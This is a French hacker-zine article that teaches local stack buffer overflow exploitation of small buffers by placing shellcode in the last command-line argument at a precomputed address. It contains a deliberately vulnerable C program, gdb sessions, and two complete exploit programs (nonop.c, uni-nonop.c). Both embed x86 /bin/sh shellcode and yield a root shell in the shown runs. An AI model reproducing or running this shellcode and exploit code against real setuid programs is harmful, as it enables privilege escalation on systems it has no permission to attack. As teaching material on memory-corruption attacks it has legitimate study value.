[[------------------------------------------------------------------------]] <> by Seb-Sb [[------------------------------------------------------------------------]] Hum ... encore un petit complement "innovant" sur les buffer overflow en local. Lionel dans son article n'avait pas explique le cas des petits buffer ne permettant pas d'y placer un shellcode. Les sources qu'il donnait permettaient cependant d'exploiter cette possibilite . Je ne fais que rappeler brievement la methode : au lieu de faire pointer eip approximativement vers le debut du buffer, on le fait pointer approximativement vers les arguments de la ligne de commande . Pour cela, le shellcode etait precede d'une grande quantite de nop . Cette methode marche certe tres bien ... Il y a cependant une petite chose qui disons m'ennuie ; c'est justement cette approximation. Il serait tellement mieux de pouvoir connaitre a coup sur l'adresse du debut de notre shellcode, ce qui nous dispenserais par ailleurs du coup de remplir faire preceder notre shellcode de je ne sais combien de nop. Par ailleurs ,notre methode doit nous permettre d'exploiter de petits buffer. Pour cela, on va donc placer notre shellcode dans les arguments de la ligne de commande. ############################################################### 1) L'adressage des arguments ========================= On y arrive : le but est donc de pouvoir connaitre exactement a l'avance l'adresse de chacun de nos arguments . Mouais ... bah on va regarder un peu comment ca marche tout ca =) Voici le petit programme tout simple que nous allons torturer : --------------------- Cut ---------------------- Cut ---------------------- int main(int argc, char **argv) { return (0); } --------------------- Cut ----------------------- Cut --------------------- Tres bien ... Appelons a notre rescousse notre ami prefere : [root@nol0gik small-buffers]# cc vuln1.c -ggdb -o vuln1 [root@nol0gik small-buffers]# gdb -q vuln1 (gdb) break main Breakpoint 1 at 0x804842f: file vuln1.c, line 11. (gdb) r Starting program: /proj/newbof/small-buffers/vuln1 Breakpoint 1, main (argc=1, argv=0xbffffd54) at vuln1.c:11 11 if (argc < 2) (gdb) inspect *(argv+0) $1 = 0xbffffe49 "/proj/newbof/small-buffers/vuln1" (gdb) inspect *(argv+1) $2 = 0x0 (gdb) r toto The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /proj/newbof/small-buffers/vuln1 toto Breakpoint 1, main (argc=2, argv=0xbffffd44) at vuln1.c:11 11 if (argc < 2) (gdb) inspect *(argv+0) $3 = 0xbffffe44 "/proj/newbof/small-buffers/vuln1" (gdb) inspect *(argv+1) $4 = 0xbffffe65 "toto" (gdb) inspect *(argv+2) $5 = 0x0 (gdb) r toto test The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /proj/newbof/small-buffers/vuln1 toto test Breakpoint 1, main (argc=3, argv=0xbffffd44) at vuln1.c:11 11 if (argc < 2) (gdb) inspect *(argv+0) $6 = 0xbffffe3f "/proj/newbof/small-buffers/vuln1" (gdb) inspect *(argv+1) $7 = 0xbffffe60 "toto" (gdb) inspect *(argv+2) $8 = 0xbffffe65 "test" (gdb) Bon , commencons par analyser ceci ... On constate que au fur et a mesure que le nombre d'arguments augmente, l'adresse de argv[0] est de plus en plus basse. On remarque par ailleurs que dans le 2eme exemple, le dernier argument "toto" a la meme adresse que le dernier argument "test" du 3eme exemple. On remarque par ailleurs dans le 3eme exemple que la distance entre le debut du 2eme argument est de 5 ... taille de "toto" : 4 ..suivi d'un caractere nul qui nous font 5 , le compte est bon ... Bon ... Vous avez vu comment j'analyse ... Refaites qqes exemples en faisait varier le nombre et la taille des arguments et notez bien les adresses pour voir les evolutions .. On en deduit finalement que le caractere nul achevant le dernier argument est toujours a la meme adresse memoire .. dumoins semble l'etre . Par ailleurs chaque argument est separe par un caractere nul. A partir de la , on peut commencer a calculer les adresses exactes de chaque argument a l'avance ... En fait, il y a un dernier parametre qui joue : l'environnement. En effet il est sauvegarde au sommet de la pile lors du chargement du programme pour etre accesible ... Revenons a l'exemple precedant : (gdb) inspect *(argv+0) $6 = 0xbffffe3f "/proj/newbof/small-buffers/vuln1" (gdb) inspect *(argv+1) $7 = 0xbffffe60 "toto" (gdb) inspect *(argv+2) $8 = 0xbffffe65 "test" (gdb) q The program is running. Exit anyway? (y or n) y [root@nol0gik small-buffers]# TOTO=TOTO [root@nol0gik small-buffers]# export TOTO [root@nol0gik small-buffers]# gdb -q vuln1 (gdb) break main Breakpoint 1 at 0x804842f: file vuln1.c, line 11. (gdb) r toto test Starting program: /proj/newbof/small-buffers/vuln1 toto test Breakpoint 1, main (argc=3, argv=0xbffffd44) at vuln1.c:11 11 if (argc < 2) (gdb) inspect *(argv+0) $1 = 0xbffffe35 "/proj/newbof/small-buffers/vuln1" (gdb) inspect *(argv+1) $2 = 0xbffffe56 "toto" (gdb) inspect *(argv+2) $3 = 0xbffffe5b "test" (gdb) _ On note que la difference ,apres avoir exporte une nouvelle variable d'environnement, entre les adresses des arguments est de exctement 10 : "TOTO" + son caractere nul + "TOTO" + son caractere nul = 10 octets . Ok .. Que penser de tout ceci ? Que pour un environnement fixe, l'adresse du caractere nl de terminaison du dernier argument est toujours a la meme adresse memoire ... ########################################################## 2) Realisation de l'exploit ======================== On va creer un petit programme bien specifique pour notre exemple : ----------------- vuln1.c ------------------------- int func(char *arg) { char yop[10]; strcpy(yop,arg); printf("Argument pris en compte.\n"); return (0); } int main(int argc, char **argv) { if (argc < 2) { printf("Usage : %s param\n", argv[0]); return (-1); } printf("Adresse du dernier argument : 0x%x\n", argv[argc -1]); func(argv[1]); return (0); } --------------------------------------------------- [root@nol0gik small-buffers]# ./vuln1 a Adresse du dernier argument : 0xbffffe5b Argument pris en compte. [root@nol0gik small-buffers]# ./vuln1 ab Adresse du dernier argument : 0xbffffe5a Argument pris en compte. [root@nol0gik small-buffers]# ./vuln1 abc Adresse du dernier argument : 0xbffffe59 Argument pris en compte. [root@nol0gik small-buffers]# ./vuln1 AAAAAAAAAAAAAAAAAAAA Adresse du dernier argument : 0xbffffe48 Argument pris en compte. Segmentation fault (core dumped) [root@nol0gik small-buffers]# gdb -q --core=core Core was generated by `./vuln1 AAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Erreur de segmentation. #0 0x41414141 in ?? () (gdb) _ On voit donc que nous avons un petit buffer ... L'idee est de faire pointer l'eip de retour vers un des arguments de la ligne de commande. Or nous pouvons calculer l'adresse exacte d'un argument puisque la fin de cet argument est a une adresse fixe. En supposons qu'on place notre shellcode comme dernier argument, connaissant sa taille exacte, on peut calculer l'adresse de celui ci lors d'un appel a execve() . Voici a peu pres ce que ca donne : char shellcode = "\xeb ... /bin/sh"; addr = argv[argc - 1] + strlen(argv[argc - 1]); addr -= strlen(shellcode); La addr contient l'adresse exacte du dernier argument de la ligne de commande qui sera notre shellcode . A partir de la, l'utilisation de nop n'est plus necessaire. Je ne m'etends pas plus sur le code lui meme ... le voici : ( un detail extern char **environ permet de conserver l'environnements ). ----------------- nonop.c ---------------------- /* Linux i86 shellcode : run /bin/sh */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" "\x89\x46\x0c\x88\x46\x07\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x88\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68"; int main(int argc, char **argv) { int i; unsigned long *ptr; unsigned long retaddr; char *cmd[4]; /* Used to keep the same environment */ extern char **environ; if (argc != 3) { printf("Usage : %s \n", argv[0]); return (-1); } /* Getting Address of null byte ending last argument */ (char *) retaddr = argv[2] + strlen(argv[2]); /* Calculating address of future last argument containing our shellcode */ retaddr -= strlen(shellcode); retaddr += 2; printf("shellcode addr : 0x%x\n", retaddr); cmd[0] = (char *) malloc(strlen(argv[1] + 1)); strcpy(cmd[0], argv[1]); cmd[1] = (char *) malloc(atoi(argv[2]) + 1); (char *) ptr = cmd[1]; for (i = 0; i < atoi(argv[2]); i += 4) { *(ptr++) = retaddr; } cmd[2] = (char *) malloc(strlen(shellcode) + 1); strcpy(cmd[2], shellcode); cmd[3] = 0; execve(cmd[0], cmd, environ); return (0); } ------------ nonop.c ------------------------------------ Voyons voir l'utilisation .. Nous avons vu que 20 caracteres etait necessaire pour overflower exactement l'eip sauvegarde ... [root@nol0gik small-buffers]# ./nonop vuln1 20 shellcode addr : 0xbffffe31 Last argument addr is : 0xbffffe31 Argument pris en compte. bash# _ Bingo ... du premier coup ... Et sans aucun nop, contrat rempli :p Plus interessant, ceci : [root@nol0gik small-buffers]# ./nonop vuln1 2000 shellcode addr : 0xbffffe31 Last argument addr is : 0xbffffe31 Argument pris en compte. bash# _ Hehe ... on peut y aller .. Cela permet de vite tester si un programme est buffer est overflowable et ceci juste avec une grande valeur de buffer qui ecrasera une grande partie de la pile. Je pense que si vous lisez cet article, vous aurez parfaitement les competences de recoder nonop.c pour qu'il corresponde a vos besoins . ####################################################### 3) Notes & remarques ================= Il y a deux cas dans lequel il convient d'etre prudent : Certains programmes necessitent un nombre d'arguments precis, ni plus ni moins. exemple : remplacez le if (argc < 2) par un if (argc != 2) dans notre programme vuln1.c ... Pas de probleme :) En fait, il suffit de coller votre shellcode au parametre qui overflow le buffer. Voici le code modifie de nonop.c qui le fait de cette maniere . ----------------- uni-nonop.c ---------------------------------------- /* * Seb-Sb@caramail.com * */ /* Linux i86 shellcode : run /bin/sh */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0" "\x89\x46\x0c\x88\x46\x07\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" "\xcd\x80\x31\xdb\x88\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62" "\x69\x6e\x2f\x73\x68"; int main(int argc, char **argv) { int i; unsigned long *ptr; unsigned long retaddr; char *cmd[3]; extern char **environ; if (argc != 3) { printf("Usage : %s \n", argv[0]); return (-1); } /* Getting Address of null byte ending last argument */ (char *) retaddr = argv[2] + strlen(argv[2]); /* Calculating address of future last argument containing our shellcode */ retaddr -= strlen(shellcode); retaddr += 2; printf("shellcode addr : 0x%x\n", retaddr); cmd[0] = (char *) malloc(strlen(argv[1] + 1)); strcpy(cmd[0], argv[1]); cmd[1] = (char *) malloc(atoi(argv[2]) + strlen(shellcode) + 1); bzero(cmd[1], atoi(argv[2]) + strlen(shellcode) + 1); (char *) ptr = cmd[1]; for (i = 0; i < atoi(argv[2]); i += 4) { *(ptr++) = retaddr; } strcat(cmd[1], shellcode); cmd[2] = 0; execve(cmd[0], cmd, environ); return (0); } -------------- uni-nonop.c ------------------------------------ Voici la deuxieme remarque : Vous avez vu qu'on pouvait utiliser en precisant n'importe quel taille de buffer des que cette taille permet d'ecraser eip ... Mefiez vous de cette specificite car l'adresse de votre shellcode va continue a etre ecrit a la suite dans la pile, c'est a dire dans les arguments qui ont ete passe a la fonction dans laquelle se produit l'overflow ... Imaginez donc que ce soit une fonction telle celle-ci : str_chr(char *dst, int *(tab[8]), char *src, char car) { char temp[9]; int i; int j; strcpy(temp, src); for (i = 0, j = 0; i < 8; i ++) { if (temp[i] == car) { *(tab[i]) = 1; } else { *(tab[i]) = 0; dst[j] = temp[i]; j ++; } } } Bon, voici a quoi sert cette fonction : Vous lui precisez une chaine destination,une chaine source, un tableau de 8 entiers et un caractere . Pour les 8 caracteres, la fonction va soit mettre dans l'entier pointe par tab[i] si le ieme lettre du buffer source correspond au caractere argument. un exemple sera plus parlant : int mat[8]; char toto = "Hedgekoe"; char resultat[9]; str_chr(resultat, &mat[0], toto, 'e'); Voici le resultat que nous obtiendrons : resultat : "Hdgko" mat : [0][1][0][0][1][0][0][1] Bon en fait, on voit que la fonction modifie ce vers quoi pointe les parametres qui lui sont passes ... Ici, pour l'overflower,il faut y mettre 20 caracteres. Cependant si on depasse, C'est alors les adresses des parametres passes a str_chr() qui vont changer. Ca veut dire que par exemple dst va pointe vers notre shellcode. C'est donc notre shellcode qui va etre modfie par la fonction str_chr() ce qui fera qu'une fois runne, celui ci n'a quasiment aucunes chance de marcher puisqu'il a ete modifie ... Je sais que ceci n'est pas tres clair sur cette derniere partie . Mais c'est principalement pour rappeler que meme si on peut overflower certain buffer de 10 octets avec 2000 fois l'adresse de notre shellcode et que ca marche parfaitement. Il peut arriver periodiquement que soudain , ce la provoque des erreurs. [[--------------------------------------------------------------------------]] Voila, je pense que cet article sera a meme d'en interesser quelqu'uns ne serait-ce pour les histoires d'adresses des arguments. En esperant ne pas avoir profere trop de betises ... Seb-Sb Seb-Sb@Caramail.com OrganiKs CreW Thanx : MayheM, binf ,duke ,#phrack & #rhino9 [[--------------------------------------------------------------------------]]